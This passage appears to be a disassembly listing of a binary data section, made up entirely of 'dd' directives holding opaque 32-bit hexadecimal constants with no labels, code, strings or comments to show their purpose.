		dd 0B252D000h, 0C219C50Ch, 0CDA61711h, 32CDE076h, 0C0024099h
		dd 8042DBC7h, 30545BCCh, 0F0294B6Ch, 620473BAh,	0D2E92238h
		dd 0B60533A8h, 8A2B1DFh, 0BA01528Ah, 605635DCh,	840B043Fh
		dd 407D14EFh, 7560E293h, 2B6B2E0Ch, 0D2289730h,	0FCE90408h
		dd 947EF4EEh, 0D4BD5D25h, 406B3E8h, 81C29C39h, 0E926FB74h
		dd 0C755B1D9h, 0D29F99B2h, 0BE0CA003h, 0C037F005h, 90BB091Eh
		dd 0B4AC9C1Bh, 5701F82Dh, 0F395489Eh, 8EC3814Bh, 861A9416h
		dd 0A166BE0Ch, 0B6BD2086h, 0BC1D909Dh, 0CFFBC0B3h, 48E25751h
		dd 0AF4B6EF6h, 627E0CC9h, 437059C9h, 0D59EEBB4h, 2407F97h
		dd 0C083F180h, 0C0365E1h, 0B45F86Bh, 0FDC964E9h, 56C95F1Bh
		dd 99A27EE3h, 61B75F78h, 0C2990C8Ch, 85795603h,	3B50CAEEh
		dd 0F154822Dh, 0CA13E97Fh, 0E2205744h, 1C7C202Eh, 0C2F35E5Ah
		dd 3D1BC196h, 8B9E3FB3h, 0A2545017h, 6279C5B6h,	0FD4A7ACBh
		dd 3882C4AAh, 785A4E2h,	0F330AE61h, 9EFEE955h, 89461DDCh
		dd 8DFAC233h, 0C8214827h, 0B5EE5FEDh, 742D85D1h, 0E9125C5Eh
		dd 0EF20DE7Bh, 0E3069Eh, 73F38164h, 43192B2Dh, 78700EC1h
		dd 0C8F36BCh, 0B0E518A7h, 53F3EE01h, 580BAC4Ah,	644001Bh
		dd 0F8E91532h, 0E0CDCEE6h, 78757EEFh, 0E120BF96h, 9FD0F703h
		dd 3A6A80E9h, 3CFA1316h, 0B24F6F5Ah, 0B30667FBh, 6302F143h
		dd 30C20DC6h, 983C608Dh, 70970E7Ch, 0DE4BD6F7h,	45587485h
		dd 177AB4E1h, 54ECB0B1h, 0BD555A01h, 3AEF4991h,	0DC6ADDDAh
		dd 6020D550h, 0F6595A90h, 80821082h, 4A58BB02h,	0F5F1E4Eh
		dd 0E4DEA4B3h, 86D95A0Bh, 276A9E9h, 0F45913CBh,	7A1E50DAh
		dd 9EEC10BDh, 3DD72513h, 4EE9610Fh, 0E3386875h,	280CC468h
		dd 5495C3EAh, 3D0502Ch,	1ED87425h, 23684542h, 0C518AC62h
		dd 5EA2DB0h, 0BD9F6EDh,	1081308Ah, 3E70E908h, 7CA1F527h
		dd 0B86A38B8h, 92F47D64h, 2EF0D4Bh, 99E9F015h, 0FF2DB67Eh
		dd 339BAC38h, 4F071895h, 625F812Bh, 7C402ECh, 565A79CDh
		dd 0E6EE8BF7h, 302D37C4h, 248AC6C3h, 1439C588h,	0F82E3528h
		dd 0FDCF3DA5h, 41058070h, 0EA75A402h, 35571A80h, 0AE83AE6Dh
		dd 0B10BFD65h, 572D5444h, 1EC5CF80h, 5B77461h, 0FD09BF05h
		dd 90E27820h, 12F2071Ah, 692970A6h, 1808A388h, 71390E5Dh
		dd 1E80464Ah, 2476898Bh, 0B3C2164h, 7DD6C2D1h, 775B9DC2h
		dd 0BA0033EEh, 45E30BC9h, 9DDA3FE9h, 4E3297C7h,	0B7BE447h
		dd 21796F2Bh, 0BA398B60h, 0C17E5E81h, 19B0977h,	1520455Dh
		dd 57D6409Ah, 8D4ABAFCh, 6C79341h, 443A0E07h, 0AB8C6836h
		dd 9616B228h, 59A02013h, 0A514FE3h, 0C9ED0C50h,	20D2D6Eh
		dd 0E906667Ch, 763A1EB1h, 0BAC4A93h, 0E25080E5h, 9F6653B7h
		dd 492C30E8h, 0C59FCE87h, 0D8E28783h, 83E92253h, 0C20224D2h
		dd 283F7907h, 4DAC001h,	2A199D4Dh, 6FF2387Eh, 0FDB8CCD4h
		dd 0E0680456h, 812A8929h, 0C2A105A6h, 0C0EFF9D7h, 7DD7BF57h
		dd 0F7756972h, 0CE444F5Bh, 29EAD474h, 1DE635CFh, 0A43D7A61h
		dd 0A12AFCAFh, 48F927C6h, 1893C260h, 0E9320C0Bh, 0B5163430h
		dd 0EB248870h, 0CA0CEE66h, 5F3B4F65h, 729DB270h, 2F27DF48h
		dd 59F8D4F1h, 7F54D914h, 0D19008F7h, 0D8C0F48Bh, 7097E7C1h
		dd 23BE0DD8h, 416464AAh, 0DC453EC8h, 58B0401Ch,	0E5F5BB4Bh
		dd 5D071C82h, 0E2DF56A3h, 0D1C80732h, 0DE016F7Ah, 5D446D38h
		dd 0A12D136Ah, 5C2EE4D8h, 0D6D39095h, 0D3B22786h, 0C557BD92h
		dd 0FF5E880Dh, 3514BF02h, 90B160D9h, 0F7028217h, 4F7146B8h
		dd 626F6805h, 9C5525CCh, 907E69CAh, 0E9768252h,	0B0674947h
		dd 0F3C528CCh, 0A390DC3Ch, 1C1E680Ch, 73414191h, 6445C12Bh
		dd 40BF0447h, 3A60EF12h, 1EB75D0Bh, 7099B5E9h, 59B6F50h
		dd 42AA6809h, 76DAB2F4h, 55442FFh, 0D828020Bh, 0EB9BF6FDh
		dd 503840F8h, 34AB5EABh, 0BFF3AE95h, 5781B125h,	3515840Fh
		dd 0CC346B10h, 0B5C3F507h, 0FC98B2CFh, 0A20B959Fh, 6025007Fh
		dd 20501714h, 0C30CD6F7h, 7A1F4D86h, 84C74FE9h,	39A0D939h
		dd 0C6CD12F6h, 0CFD017A8h, 0AA53124Ah, 0E912C02Bh, 4BF9A87Fh
		dd 68BA7CEBh, 0AE647A2Fh, 0C655580Eh, 0AA39150Eh, 89139395h
		dd 4F8AE3D0h, 0CF530AEAh, 4CE989E2h, 3CED81DAh,	3F0B7127h
		dd 54F73DFBh, 956E02E3h, 70D586A1h, 0D432205Ch,	4C039999h
		dd 0E92C9C7Eh, 898B6AA4h, 0AA849EEEh, 0B934816Dh, 4033A5CCh
		dd 50EE64ADh, 4F8CF74Eh, 7602D832h, 0D6545B4Dh,	8874CAEAh
		dd 165F4BEBh, 7BE912D0h, 48A0FDC4h, 0AD911109h,	0DAEDCF2Dh
		dd 0FEAD391Fh, 4721704Ch, 0E9042B91h, 49FAAD79h, 2663C3FCh
		dd 73F59900h, 0C14CE61Dh, 0D90849EDh, 0BAFDBE27h, 0D3CC7556h
		dd 66CFE725h, 0EB683016h, 0BD94C553h, 60A12625h, 0B1FC40EEh
		dd 0D331438Fh, 3468B509h, 0EA0DB71h, 1860BB53h,	0E3811D84h
		dd 17760A0Bh, 4830846Eh, 18D18FAAh, 0F61DFEC6h,	0C79913E2h
		dd 73F2F843h, 1CF0DF7Bh, 9222073Dh, 115248E9h, 524B0FABh
		dd 0F9BA1F25h, 7E460425h, 0AFC13287h, 0A7304205h, 4D091D7Ah
		dd 0C3F28008h, 0E9A60626h, 100A8B2Dh, 79685034h, 7513FF3h
		dd 0B48E4516h, 4B0579FCh, 0E5D13A0Ch, 21FEAC3h,	0AE11C7ABh
		dd 0EADFEA99h, 3536C0EEh, 0B954F104h, 3329CC1h,	0F9D21E2Fh
		dd 0B07CAD1h, 409F6891h, 1B1EE2Ch, 4E893AFBh, 50A8F501h
		dd 4E70CFE5h, 0ED6881F3h, 0C3483A25h, 2C5F18C5h, 822D6F2Eh
		dd 0BBCD802Ch, 31689996h, 0B97E01D7h, 12573AC8h, 0B13E64B5h
		dd 0A5A82F96h, 98E246CBh, 0C1125FCCh, 0C8AF06E1h, 0FCB52922h
		dd 0FDE0279h, 6D411FD2h, 0B25200C2h, 0E2C02619h, 0C5B41756h
		dd 33CD04F3h, 0E65290F4h, 4427243Dh, 409DC242h,	265A2533h
		dd 0E1848CBh, 50C9DAD1h, 2F897AFCh, 0ED1D30A1h,	76B88003h
		dd 7723301Eh, 0D6AE6C89h, 0FCBB404Fh, 3128FFFEh, 0EA30C3D5h
		dd 6B65FC5Dh, 0F7112E3Dh, 0F1C616B5h, 3CA86F06h, 0FAD6E9F0h
		dd 74DD694h, 9740B77Ah,	0ED1564EEh, 0D45B89D7h,	0F17F5259h
		dd 0AB6E0C69h, 2D015F6Eh, 632B7585h, 49FC1A05h,	0C6312581h
		dd 3E35AB6Ch, 0BEFAFDDh, 287BEE23h, 6576A209h, 1D050CBEh
		dd 160BED17h, 80B626D6h, 65688254h, 0B1294F2Eh,	5D080361h
		dd 0BF57F0CFh, 3362078Bh, 5FD10844h, 69138679h,	4E68FC80h
		dd 0DB3A4877h, 0B051AF15h, 59AD5B3Bh, 6F514A8Bh, 0B2A9E950h
		dd 0D23BA0DAh, 669C24FEh, 34091721h, 0FDFFBDAh,	4BE0A227h
		dd 0F9F898B6h, 3129BE50h, 4677071Eh, 3B558DCCh,	30DA3EC5h
		dd 0E20C50B0h, 2B14DF45h, 4193F501h, 140CA008h,	13F881A3h
		dd 202B588h, 0DD5FE82Dh, 85425772h, 0B2690709h,	0F2132E74h
		dd 687F02BFh, 5771066Dh, 1D2D9CA8h, 0BDFC88h, 7E8C0FFh
		dd 0C1F4D504h, 0A589E926h, 0FFC2FE89h, 0C2655369h, 0B22FCD66h
		dd 4A90463Ah, 0EE7390A5h, 96013EF4h, 41D005EFh,	56D45A2Ch
		dd 1146054Ch, 1D2DF029h
		dd 96116807h, 0D27E8B58h, 1CDAA11Bh, 0E984515Dh, 9C1E02D5h
		dd 8FC0882h, 904516Ch, 3EF45EF5h, 0C1455B5Dh, 0F17FBB40h
		dd 0D9133A1Ah, 0B22516FAh, 0FCDAC62Eh, 0B7EF07CFh, 0B3809CA3h
		dd 200F9A49h, 605EBC1h,	426DA2Eh, 5D08B4BBh, 3629C07Dh
		dd 4B5E8414h, 5913AE1Fh, 12FE74BEh, 285BE11h, 0E050E2BFh
		dd 60C3E958h, 0BB5918F5h, 0F0269C37h, 6C00379Eh, 2D4E2B1Eh
		dd 6212139Ah, 3AC74BE8h, 76A9B8E3h, 5B0A83A9h, 853D7F68h
		dd 809FB2EAh, 5E2D5AEBh, 5908B043h, 0BF12063Fh,	0C231E19h
		dd 0FCE6D7F7h, 12162C13h, 5704D909h, 76078A80h,	7A977527h
		dd 40B20916h, 0F0F0D7Ah, 7E6FCE97h, 22B5E22Fh, 0EBD4ABh
		dd 0A32DD001h, 75075413h, 56D8AB00h, 2D46A668h,	18785B41h
		dd 0BD164A01h, 0CF26E96Bh, 5803E791h, 1D8846Fh,	0D3F866BAh
		dd 0AF80479Dh, 0F043C46h, 15E668C8h, 0D24231AFh, 342D00A8h
		dd 441F2637h, 0D420206h, 9E5E1565h, 7C085139h, 0D2494B6Dh
		dd 0FC5F8451h, 0B8767345h, 5E42CB49h, 0E2188BB2h, 0FCAE1C77h
		dd 487F52B0h, 9DF1C42Ah, 812557F0h, 233BABBDh, 20B6A4Eh
		dd 2319C2A4h, 407DB283h, 0B74EFD2Bh, 105984B4h,	0DD2927A7h
		dd 874EF394h, 0E9A05EA8h, 0A8A8A01Ah, 791E37CFh, 97CB2228h
		dd 0C33A55FBh, 0F5259ADFh, 0F180C772h, 0CB2E4B33h, 0A6181031h
		dd 7C5FFBE9h, 94F9043h,	797C3B2Fh, 84D653E0h, 5C315981h
		dd 50DE807Eh, 1E5C9E58h, 5F2E18DDh, 4E5AD775h, 3B0FAB30h
		dd 5879C9BFh, 0A7C7D077h, 0D985224Ah, 6693045Dh, 4ED8CFAEh
		dd 0F64D17AFh, 99FE9207h, 4AA837A5h, 8186D0BDh,	0C73B2742h
		dd 0F8F78258h, 0DD5F6109h, 0E91691E4h, 4A302F37h, 145DBD55h
		dd 98450C36h, 0CD012E76h, 0F32F138Fh, 859784B6h, 5D1F0ABDh
		dd 9A76E527h, 2FA4AF26h, 31023A0Ah, 586DDCA7h, 0D55C43E9h
		dd 6853A0DCh, 0A62312B9h, 3647EC47h, 16820FBDh,	0B190540Bh
		dd 0C3CB0271h, 78CE2D3h, 4E9FA559h, 9253F342h, 0AA019453h
		dd 332E5717h, 37EBC13Bh, 0E7B26ADBh, 1E105B48h,	2DBB01D7h
		dd 2903AA3Bh, 0B84BD53Ah, 69149D25h, 8868C2E8h,	629D564Ch
		dd 570503FCh, 0E04B99B3h, 147BE635h, 49EB614Fh,	3E0859FCh
		dd 8952040Ch, 0A2B4AFCAh, 29552AE9h, 5BD825F1h,	4583D565h
		dd 6136FB3Fh, 2DE90623h, 0E9323ED1h, 4D3EB16h, 9B4CB2CAh
		dd 0D260AF3Dh, 28A84B2Fh, 278E0978h, 4CDBA4FEh,	0C1F0A5BDh
		dd 0F82E08EBh, 711A10F9h, 0E9BDB180h, 8193F1FCh, 8302C488h
		dd 0E903E5C0h, 0F9D5BDC2h, 0F86B09D1h, 344BBEB1h, 56B45AB6h
		dd 3D02622Ch, 5E2EC4AEh, 2CE90B4h, 219C706Fh, 1E67DF59h
		dd 0A61808h, 195DF2B8h,	0C26E8974h, 49E36152h, 0FD431E64h
		dd 0EA16DCBCh, 0A5F9A361h, 2034FE05h, 0F91046A6h, 656809ACh
		dd 2CD6CD5Fh, 5FF01231h, 221B032Eh, 45D94B1Fh, 35532E53h
		dd 0C5F2FC12h, 592F68C2h, 4FAFE7B0h, 46503600h,	8A68DEF7h
		dd 681BBD39h, 125C44C8h, 9EE91A16h, 9DC25C21h, 0C03EF4FDh
		dd 0EF763582h, 0A0E90A39h, 0F68EB787h, 0CED71CC9h, 0A356B755h
		dd 3E57487Ah, 51CAC403h, 7ED58155h, 0ECF5C296h,	5ADBF660h
		dd 6193A764h, 0FE42CE5Ah, 93FCD1CAh, 0A9DBD2Dh,	0BED757E9h
		dd 0C40414C4h, 77484556h, 2A0A475Eh, 0BC93BB3Fh, 0AC3F2AA1h
		dd 56E9E0A4h, 65B2B606h, 7B2BC95Ch, 915E8C7Ch, 0D0FC0C7h
		dd 0E79B300Eh, 3361CF82h, 20957841h, 9D900987h,	2305524Bh
		dd 348921B4h, 0C6F4B0CDh, 8FC5BDCCh, 30CD6D0Dh,	185FE320h
		dd 0DE63B731h, 3A710CE5h, 7A4CC1B0h, 61ABF585h,	2ADEAD3h
		dd 28B5C5Fh, 0CEA8D9C7h, 596FE9DDh, 901C858h, 5831FFF9h
		dd 781CB277h, 0CDDA976Fh, 502C524Eh, 427C5BF7h,	5B5553DDh
		dd 80F945F5h, 9E18A7BDh, 385DE969h, 28680996h, 5DB79A63h
		dd 6AE13F6Ch, 0EC2BC3E1h, 8BEAE4C4h, 0A0422D3Bh, 76BEB1Bh
		dd 0D56548BAh, 1C470176h, 0E9DD8935h, 489C7CABh, 4A6F3C0Eh
		dd 0D348E4CFh, 7BE2B38Dh, 82F55FB8h, 5901C972h,	8266CA31h
		dd 85D00112h, 21A7BA55h, 6C2538Bh, 594B0EF1h, 0AC0DB4BFh
		dd 88BBD311h, 681452CCh, 0C08A098Fh, 31FB850h, 3571041Dh
		dd 84272110h, 0F3BD855Dh, 8181482Eh, 6882E955h,	0AB1A5040h
		dd 39D69D90h, 22272324h, 4ACBE9D9h, 824A7E46h, 87EB7433h
		dd 0F0CDC2FDh, 20DE1329h, 0FE04F5CAh, 702DCD80h, 0F4B7587Ch
		dd 1C61C082h, 789F2B1Dh, 0DE802E01h, 5157C208h,	0BA1FC1h
		dd 0B1C02B9h, 0CA013D6Fh, 4A2586C4h, 1EB4DBF4h,	0FBFCA0F2h
		dd 8DD9A0F7h, 0BC25910Bh, 8331D81Fh, 0E9370907h, 0A846A3B9h
		dd 98A2E220h, 5FFB285Bh, 0B06F2D94h, 2E97A7Ch, 0B3AC090h
		dd 62500A00h, 295AE2CBh, 5FD4CAA0h, 1775A303h, 21BAB1F8h
		dd 2A5A0817h, 60E4DC67h, 25C51E1Eh, 528076C7h, 0C1308ABAh
		dd 0F7921C44h, 3E96F0D8h, 6B49B970h, 51E91243h,	0E7FEAA84h
		dd 0DB999DA0h, 71DDCB97h, 8030033Eh, 6051EC5h, 59E82813h
		dd 4127EA88h, 0F9531DE4h, 14F862D2h, 10D2CA88h,	884BC760h
		dd 7240E198h, 0A5A9C409h, 0C734EB4Eh, 5BE2D8FEh, 0C48AE910h
		dd 7C49B803h, 91D13A93h, 0EFC87F15h, 0FEEB4F55h, 0F94F9521h
		dd 5452108Bh, 0EE305233h, 32934D17h, 62C1F433h,	0A2AF1AE0h
		dd 3AE38100h, 20CD3F4Fh, 0F3E4FD76h, 0D3930152h, 0E9DA2957h
		dd 0C3443ED5h, 0D1E35FF9h, 5C9C680Eh, 983CFE16h, 86E91753h
		dd 801622DAh, 29175856h, 0BA97BABDh, 0C7D91739h, 0C473A27Fh
		dd 24BFBE68h, 89A32D31h, 0D930416Ah, 90904C66h,	25686640h
		dd 54FB197Dh, 7FF855BAh, 5210A2B2h, 0F5F85AA1h,	0AA561A50h
		dd 42F77E36h, 0B059B177h, 40623110h, 0F765CF9Eh, 0AC73933Dh
		dd 0D55058B2h, 0A8D104EBh, 0A021AF9Bh, 6A09CEDFh, 8764467Ah
		dd 56676E22h, 0E9C23167h, 9D56CC0Ch, 0D28985DEh, 985764ADh
		dd 908A2004h, 2C38316h,	0B018AEEh, 312AB168h, 0FFCA7537h
		dd 0BA563C5h, 31E5F4Ah,	745DE92Fh, 0A2D1C7F9h, 776912C9h
		dd 27994181h, 0F45ED948h, 4A81F898h, 32AA60C6h,	9F2275A9h
		dd 0F7202872h, 0A95D6FE3h, 0DEA6824h, 0E089F15Ah, 0B5F412F1h
		dd 8510D5E9h, 0BFA8A073h, 80135FC5h, 0A618CF40h, 0EEF931E1h
		dd 0E3F45E45h, 5EB82FD1h, 0E4F56B10h, 0D306186h, 2EDC15E9h
		dd 257B22F7h, 0EF54CBA0h, 74F5B073h, 0F66A01F9h, 0EB36952Dh
		dd 920F2062h, 0F6F120DCh, 9E924202h, 0B6B6F416h, 7CE8F05Eh
		dd 0A7C009C5h, 52F589Ah, 304360D1h, 46D96D80h, 0E90F0D9Ch
		dd 0ECFFBADAh, 6A50AA39h, 0F04142BCh, 0F2945878h, 0EA15C528h
		dd 64E62835h, 2678749Ah, 1042AE42h, 93F94B4Dh, 8FD5CC05h
		dd 1091EA2Bh, 4D00D120h, 0F736F587h, 94408D6h, 0CE5CD9E8h
		dd 49735B58h, 1B95C726h, 71A5BC68h, 34677078h, 0F7B380h
		dd 805BDC30h, 0E4C0CBC4h, 0ADE90309h, 0AD152BFh, 6560646Ch
		dd 24A3FADh, 0BB2ED717h, 9AC8C560h, 2FAD8182h, 586C0D23h
		dd 5F760800h, 4C29472Ah, 0A0B5F19Dh, 2FCA990Ch,	0E6730677h
		dd 20F89095h, 839FD6F0h, 8497C105h, 0C98BF2BAh,	0BD1F7064h
		dd 0C54FCC59h, 5E8B7D56h, 0DA0A10h, 2EC61B35h, 595168D7h
		dd 6684E745h, 0D099B9FEh, 0E91E963Fh, 5B5504E0h, 0EABD685Dh
		dd 975EAECCh, 0E064237Ch, 2730CECh, 46541262h, 42C2F231h
		dd 0D284578h, 533DB104h, 39C49840h, 1427CEB9h, 0CA451757h
		dd 4F44BD5Bh, 89CCC1B8h
		dd 0CCB71CEDh, 0B2683409h, 0BBE2BAFEh, 0BCFEE985h, 64352D8h
		dd 6BE26D55h, 96170B0Ch, 97FD14Ah, 676C779Dh, 62592C40h
		dd 0CBD74B02h, 620B5BFAh, 0D2200B03h, 0FE00B77Ah, 0A2B74347h
		dd 0E9F52904h, 6BD29EB5h, 0FC10E6CBh, 5E27B2B0h, 485EB3D2h
		dd 28E505D9h, 3BB87523h, 17A83B84h, 0D11B2DBFh,	0D8862204h
		dd 142A48h, 0F181767Dh,	6F431631h, 21F0CC0h, 4B01193Eh
		dd 13898BC8h, 244022D0h, 0A57FBC68h, 0FA70B706h, 12C76AA0h
		dd 16D67A1Dh, 36C2F79Ch, 5057BC56h, 5FC19022h, 5A51C218h
		dd 0BB009C56h, 25D31CF4h, 9FFA9029h, 6983595Eh,	0E540DBF9h
		dd 0BB5384C0h, 5525FA0Dh, 0E93DC62Ah, 0BC857116h, 47E2D2C6h
		dd 12C7F42Ah, 0FC3F6FBEh, 3CB03DE2h, 612D8019h,	149BC30h
		dd 70550F0h, 4125015Eh,	972E8C73h, 0B22DC84Fh, 0C2EFD80Bh
		dd 84406A09h, 0EA1301A7h, 55E6B79Dh, 6804F245h,	0AA8D44A9h
		dd 2D3A9931h, 2ECD6B18h, 7B98096Bh, 0FB44DFh, 8057B353h
		dd 0E3D0ADCBh, 573C072h, 8902EB3Dh, 8288FBF3h, 0FFE62060h
		dd 836688E1h, 0F6D88650h, 0C00803D3h, 0C83405E8h, 2F58C681h
		dd 68519CC0h, 8C6A5F1Fh, 6548A959h, 0F4B7C43Fh,	7D41DE82h
		dd 0CBC11D13h, 28246F7Fh, 5D688281h, 19824007h,	67B65CC8h
		dd 1E575100h, 98D9896Fh, 37A54A6Ah, 0CB0C456Bh,	4D521222h
		dd 3B1991A3h, 0DCF7111Eh, 589E37E4h, 0E26762h, 0B4EFF235h
		dd 0E2018B37h, 738832D2h, 5C90BD89h, 0C5ED4C0Fh, 0ACCB9C86h
		dd 77C64819h, 88CA6EE5h, 3BC4179h, 0E5C294C0h, 595DA7CAh
		dd 0DFC56B0Ah, 9F73308Ch, 0BD4B09F2h, 94541988h, 0F56EB009h
		dd 5C5E6C96h, 0B511170Ah, 0F4541E8Bh, 7C45628Ah, 29A2B106h
		dd 809407A7h, 95A5C681h, 555CB441h, 5B4220A6h, 0B5D23059h
		dd 0ED5FD007h, 0F84B90ECh, 6A0E1040h, 8925D2Eh,	31076521h
		dd 0CFF35FF8h, 0BD100223h, 1E137135h, 7D9742D5h, 85E34B48h
		dd 58ABF32Dh, 5BAF0F75h, 0E7A019A2h, 4614420Fh,	793DAEA0h
		dd 808F5Bh, 5F92122Eh, 0CE49F50Bh, 0A110D576h, 0FEDCF600h
		dd 16CC80C4h, 0B401F4E6h, 0E9B9B252h, 0CA3984A6h, 38C2A402h
		dd 0F8F52115h, 0AFE60FB8h, 0E104BD19h, 0DC88FBC8h, 3FF5F7DFh
		dd 5F67A96Ah, 0F806EBECh, 0E4022D12h, 274959D7h, 0D7FEC2E6h
		dd 79551F1Ah, 6CA73F7Bh, 7FFC85E9h, 0D2C5E340h,	98127E6Dh
		dd 308A4084h, 0C34FEA77h, 258B00Bh, 63EBC146h, 4AA59886h
		dd 2B46C422h, 1EF177Fh,	0CB1A9B53h, 0DEFADE7Bh,	0A113A7E8h
		dd 9C579D71h, 5E89D7A2h, 98C580FDh, 9F65A051h, 88043D2h
		dd 0ED1D2D5Eh, 0D82D054Dh, 0DD0782DCh, 0BD133196h, 52A84CD5h
		dd 8B06ED16h, 0D87E2F7Ah, 1AFCBD47h, 0DD9ACEE2h, 0DBE82918h
		dd 0EB82219Ch, 0CE421C4Fh, 11FF2DD6h, 5AE4CD79h, 0DCE7CFC8h
		dd 51522Ah, 0C331A12Ah,	0A56FB977h, 3082120Bh, 7CA78A9h
		dd 0CD1540BEh, 0FBB1A24Bh, 5FFEB968h, 0C77320BDh, 414082DCh
		dd 39FD2F0Ch, 54E8874Eh, 0F456EAC7h, 632544AEh,	84660A08h
		dd 0CB680FBAh, 48881671h, 83D89702h, 20C45BFCh,	47CC7954h
		dd 27DA94D7h, 0C6CF071h, 52FA2CE9h, 9D7C07Eh, 14B5CE7h
		dd 0C059799h, 521974FEh, 3FD50BBFh, 3302F9B0h, 5AC9A0B7h
		dd 9015966Ch, 25A1029Dh, 0F3096A34h, 9FD1FAF7h,	0DA67B65h
		dd 6683F124h, 85EEB753h, 76489C09h, 114F2F8Bh, 3F154CA4h
		dd 98E4A7Fh, 59D5A061h,	0B822F96h, 0C95B75BAh, 0CF491D97h
		dd 8194D442h, 35F35FB6h, 0F3843F31h, 4BC4EEE6h,	425E12C0h
		dd 13C2F113h, 439E6151h, 5AABC12Bh, 644B5650h, 5FE86BBFh
		dd 1F4B40Ch, 2716C248h,	0F4571C3h, 68A771BEh, 9C5BD32Ah
		dd 0B224148h, 0D50CFFDCh, 2BA0A7E4h, 0E79F3B55h, 17E2DDDh
		dd 562EF279h, 0E9AA804Fh, 54815ABAh, 0D77443Ah,	4AF1E31Ah
		dd 983B04FBh, 5044F952h, 6E2C4725h, 62279D51h, 0CEFB57F0h
		dd 0B38178A7h, 0F6E9058Bh, 80CAABBDh, 0F9200C20h, 885B5A05h
		dd 42401382h, 29842768h, 25A0BB46h, 0EF068009h,	7E7C001h
		dd 0F386E80Ch, 8BF5261h, 8804C783h, 0ECF85BFCh,	0B6045243h
		dd 5AF4304Ah, 0DC1050CEh, 0DE091D96h, 71A4A0CBh, 5B652580h
		dd 0FB390027h, 97634E07h, 0B07A388h, 81D8D2E9h,	24BD3158h
		dd 29948272h, 5E0C0987h, 0ECD61058h, 59992723h,	7E146944h
		dd 11038F0h, 59C0FBAh, 0E6267C01h, 28A10C41h, 39E9051Ch
		dd 12A8FD91h, 0D1A8823Fh, 0F6F23EC1h, 3A8BF513h, 3CBDEF4h
		dd 4C6349F1h, 15EAEBD1h, 6097DBD8h, 50DC4602h, 5A7EE55h
		dd 2932F259h, 1BA984CDh, 8B8BC08h, 4212732Bh, 0C811FD01h
		dd 10FB5B08h, 5F2626FEh, 0ED43425Ch, 70D83500h,	68121398h
		dd 2F44EB81h, 4BAEB251h, 77FDEF7h, 36C24FD7h, 8B9CDC10h
		dd 726C41E3h, 0FF292C30h, 0B4121668h, 0A9D7623Eh, 61C35D2Bh
		dd 0EB8853C8h, 50DDCCEDh, 12CBECECh, 17AB74E7h,	770F0D58h
		dd 5CAC3053h, 1274721Dh, 328086BEh, 625A0926h, 9768B718h
		dd 0E1AD2C03h, 0FDC26608h, 9E0FD1DAh, 0A4607645h, 0BBD1AD42h
		dd 306A65F6h, 372B092Dh, 97A0619Dh, 0E4C8A3Fh, 28005C2h
		dd 0EA88E9D0h, 7B91DCF1h, 7329B201h, 0E8685D41h, 0E700446Fh
		dd 168FBBA0h, 4FD88910h, 96D9D01h, 0E12B6E72h, 41D5CE45h
		dd 12C0AE97h, 0EE0ED54h, 1492C24h, 0BA554600h, 39F3474Ah
		dd 315FF80Dh, 4AF02B0Ch, 0E9CE0B87h, 4AD5E650h,	0DBA8627h
		dd 35040E36h, 68D402Ch,	68A0DBE8h, 0C09126DAh, 8059B581h
		dd 0C5CC98F5h, 906D2E3h, 7C07E89Ch, 9B2CE886h, 0B21B4802h
		dd 0F6C0812Dh, 9B702A72h, 79D91FC3h, 57E94F0Ch,	0D800D3D5h
		dd 8C35CF05h, 0AE3B2D6Ch, 881B2FB3h, 0DA2DF9FDh, 16B2D625h
		dd 0C568B45Ch, 0E1210F2h, 68EC2939h, 0A0530840h, 82BDB488h
		dd 855268D7h, 0ED2EE1C1h, 9EA92DCh, 6F628247h, 0AC63D804h
		dd 1301CEE3h, 9A58A128h, 0CCE91AD4h, 59C0474Bh,	162C18BFh
		dd 0F7023E97h, 80FC6483h, 2136EF82h, 0B847FE6Eh, 2FBB75DCh
		dd 0A0555729h, 0D0089265h, 3F77B811h, 44B92501h, 31CF734h
		dd 8627E908h, 3FF86E58h, 85F50303h, 0F1618B13h,	6E24B48Dh
		dd 0C8233D1Ah, 0CE02904Ch, 7BF46355h, 303E2140h, 0C27D930h
		dd 0FDEA8387h, 301BA12Fh, 0D540ED39h, 0F0A0B68h, 0D47B41BFh
		dd 2DC5AD08h, 0C3D71E62h, 0D27A85Ah, 0D2F72D12h, 466327C0h
		dd 687CE027h, 267735E1h, 2505B1Bh, 34560BB1h, 14981143h
		dd 0E9253BA1h, 5D3EC075h, 0C226C74Ah, 1552432h,	514E62AEh
		dd 0E328C829h, 77DE30B8h, 1880301Eh, 0DA31C007h, 5C3958E9h
		dd 0FE1F8235h, 95E1AA0Eh, 5ACE23CBh, 0B38046C4h, 0DC76875h
		dd 71F18110h, 311F7A0Dh, 0D92FEF26h, 74024B6Bh,	0C1A39D99h
		dd 74C706E5h, 58E3BAF9h, 883F9520h, 600BA73Ah, 1E61BB15h
		dd 8C6F9D46h, 0BD22B38Ah, 181D530Bh, 0BA02DF07h, 21C436A5h
		dd 5D982625h, 4FF061B8h, 3C2759B5h, 0A10B3325h,	0E5AEA2F5h
		dd 185B7794h, 8E5B262h,	63660380h, 64017F02h, 8D65A9DCh
		dd 0E26BCB89h, 0D91497B6h, 78E400C5h, 0BF5758D0h, 2538246Ah
		dd 0E5CF006Fh, 4701F016h, 0A2C5E912h, 4E042CCCh, 0E4C58DE2h
		dd 548141F8h, 10778B2Bh, 8900D86Fh, 685557E6h, 65EA50BFh
		dd 80BD09FCh, 66C82820h, 172C3B59h, 3904D81Dh, 0EE05DD3Ch
		dd 0D85A0B68h, 0EEBAE632h, 34FE554Eh, 0F471AC7Dh, 1C890BA9h
		dd 0E82D81A0h, 462F7B5Bh
		dd 64B17989h, 4F75F829h, 0F15D359Ah, 0A19B1719h, 73FADCFBh
		dd 0ED90EBA4h, 0FE53310Ch, 0B8330C6Fh, 0C0494E38h, 0CF27D0DBh
		dd 51A4344Eh, 1BD60899h, 0EA2889BDh, 947DCA03h,	41DE290Dh
		dd 6F690840h, 49B510h, 1C2F8AB9h, 9FD9F778h, 4E3C3E90h
		dd 1655085Ch, 5AE2AF32h, 181C562Ch, 71BE3C99h, 0C8E45328h
		dd 598ECA25h, 0AA1864E9h, 9056A0F4h, 702B0537h,	0EB412426h
		dd 45C9C507h, 407561A2h, 300BBD2Ch, 0E50C7203h,	605AB12Dh
		dd 5405C4E9h, 8769430Ch, 2DB0EBF3h, 0C795CA2Fh,	44C385B3h
		dd 0CB80AB23h, 31794FC1h, 15E44EA8h, 31CDECF0h,	0A7E9CA3Ah
		dd 5870E9A3h, 0C10D847Eh, 3B7D441Eh, 0BC4A67B7h, 18468116h
		dd 0B62F572Ah, 6BAC10C1h, 6FF65F2Fh, 53A8824h, 1B4A2A04h
